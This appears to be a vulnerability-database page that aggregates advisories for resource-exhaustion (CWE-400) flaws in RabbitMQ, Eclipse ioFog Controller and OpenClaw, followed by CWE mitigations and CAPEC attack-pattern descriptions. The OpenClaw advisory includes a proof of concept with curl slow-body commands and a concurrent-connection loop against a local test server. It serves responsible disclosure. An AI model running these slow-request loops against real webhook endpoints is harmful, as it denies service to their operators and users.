  "published": "2024-10-08T18:33:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43541"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43541"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W6CQ-9CF4-GQPG

Vulnerability from github – Published: 2026-06-30 16:39 – Updated: 2026-06-30 16:39
VLAI
Summary
RabbitMQ vulnerable to Denial of Service by publishing large messages over the HTTP API
Details

Summary

Responsibly disclosed by @NSEcho.

HTTP API did not enforce an HTTP request body limit, making it vulnerable for DoS attacks with very large messages.

Details

An authenticated user with sufficient credentials can publish a very large messages over the HTTP API and cause target node to be terminated by an "out-of-memory killer"-like mechanism.

A PoC was provided to Team RabbitMQ privately.

Impact

Denial of Service

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "rabbit_common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.0"
            },
            {
              "fixed": "3.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Hex",
        "name": "rabbit_common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0"
            },
            {
              "fixed": "3.11.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-30T16:39:12Z",
    "nvd_published_at": "2023-10-25T18:17:36Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nResponsibly disclosed by @NSEcho.\n\nHTTP API did not enforce an HTTP request body limit, making it vulnerable for DoS attacks with very large messages. \n\n### Details\n\nAn authenticated user with sufficient credentials can publish a very large messages over the HTTP API\nand cause target node to be terminated by an \"out-of-memory killer\"-like mechanism.\n\nA PoC was provided to Team RabbitMQ privately.\n\n### Impact\n\nDenial of Service",
  "id": "GHSA-w6cq-9cf4-gqpg",
  "modified": "2026-06-30T16:39:12Z",
  "published": "2026-06-30T16:39:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-w6cq-9cf4-gqpg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46118"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-server"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5571"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RabbitMQ vulnerable to Denial of Service by publishing large messages over the HTTP API"
}

GHSA-W6HW-CR6M-H7XJ

Vulnerability from github – Published: 2026-10-20 15:31 – Updated: 2026-10-20 15:31
VLAI
Details

In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-113619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-20T13:16:41Z",
    "severity": "HIGH"
  },
  "details": "In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.",
  "id": "GHSA-w6hw-cr6m-h7xj",
  "modified": "2026-10-20T15:31:23Z",
  "published": "2026-10-20T15:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113619"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/469"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/1268"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W6M8-CQVJ-PG5V

Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44
VLAI
Summary
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Details

Fixed in OpenClaw 2026.3.24, the current shipping release.

Advisory Details

Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Description:

Summary

The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.

Details

In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:

const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)

// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB
  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s
  responseFormat: "text",
});

The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:

  1. Any unauthenticated HTTP POST is accepted
  2. The server waits up to 30 seconds for the body to arrive
  3. Each connection can buffer up to 1MB
  4. Authentication only happens after the body is fully read

The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:

const PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s

The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.

Attack chain:

[Attacker sends slow HTTP POST to /feishu/events]
  → Rate limit check: passes (under 120 req/min)
  → Content-Type check: application/json, passes
  → installRequestBodyLimitGuard(1MB, 30s): installed
  → Body trickles at 1 byte/sec for 30 seconds
  → × 50 concurrent connections = connection exhaustion
  → Legitimate Feishu webhook deliveries blocked

PoC

Prerequisites: Docker installed.

Step 1: Create a minimal test server reproducing the vulnerable body parsing:

cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)

function bodyGuard(req, res, timeoutMs) {
  let done = false;
  const timer = setTimeout(() => {
    if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
  }, timeoutMs);
  req.on("end", () => { done = true; clearTimeout(timer); });
  req.on("close", () => { done = true; clearTimeout(timer); });
}

http.createServer((req, res) => {
  if (req.url === "/healthz") { res.end("OK"); return; }
  if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
  const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
  console.log(`[${req.url}] +conn`);
  bodyGuard(req, res, timeout);
  res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1

Step 2: Verify the vulnerability — slow body holds connection for the full timeout:

# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/feishu/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/patched/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

Step 3: Batch exploit — 10 concurrent slow connections:

for i in $(seq 1 10); do
  (echo -n 'A'; sleep 15) | \
    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
    -H "Content-Type: application/json" \
    -H "Content-Length: 65536" \
    --data-binary @- --max-time 35 &
done
wait

Log of Evidence

Exploit result (vulnerable /feishu/events):

=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10

  [conn-0] held open for 15.0s (15B sent) [SUCCESS]
  [conn-1] held open for 15.0s (15B sent) [SUCCESS]
  [conn-2] held open for 15.0s (15B sent) [SUCCESS]
  [conn-3] held open for 15.0s (15B sent) [SUCCESS]
  [conn-4] held open for 15.0s (15B sent) [SUCCESS]
  [conn-5] held open for 15.0s (15B sent) [SUCCESS]
  [conn-6] held open for 15.0s (15B sent) [SUCCESS]
  [conn-7] held open for 15.0s (15B sent) [SUCCESS]
  [conn-8] held open for 15.0s (15B sent) [SUCCESS]
  [conn-9] held open for 15.0s (15B sent) [SUCCESS]

=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!

Control result (patched /patched/events with 5s timeout):

=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events

  [conn-0] RESET after 8.0s (8B)
  [conn-1] RESET after 8.0s (8B)
  ...
  [conn-9] RESET after 8.0s (8B)

Avg connection hold time: 8.0s (5s timeout + stagger delay)

Server-side Docker logs confirming the discrepancy:

[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)

Impact

An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.

With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave

The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.

Affected products

  • Ecosystem: npm
  • Package name: openclaw
  • Affected versions: <= 2026.2.22
  • Patched versions: None

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch.
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:32:03Z",
    "nvd_published_at": "2026-04-10T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  \u2192 Rate limit check: passes (under 120 req/min)\n  \u2192 Content-Type check: application/json, passes\n  \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n  \u2192 Body trickles at 1 byte/sec for 30 seconds\n  \u2192 \u00d7 50 concurrent connections = connection exhaustion\n  \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() =\u003e {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n  req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n \u0027A\u0027; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
  "id": "GHSA-w6m8-cqvj-pg5v",
  "modified": "2026-04-10T19:44:53Z",
  "published": "2026-03-30T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.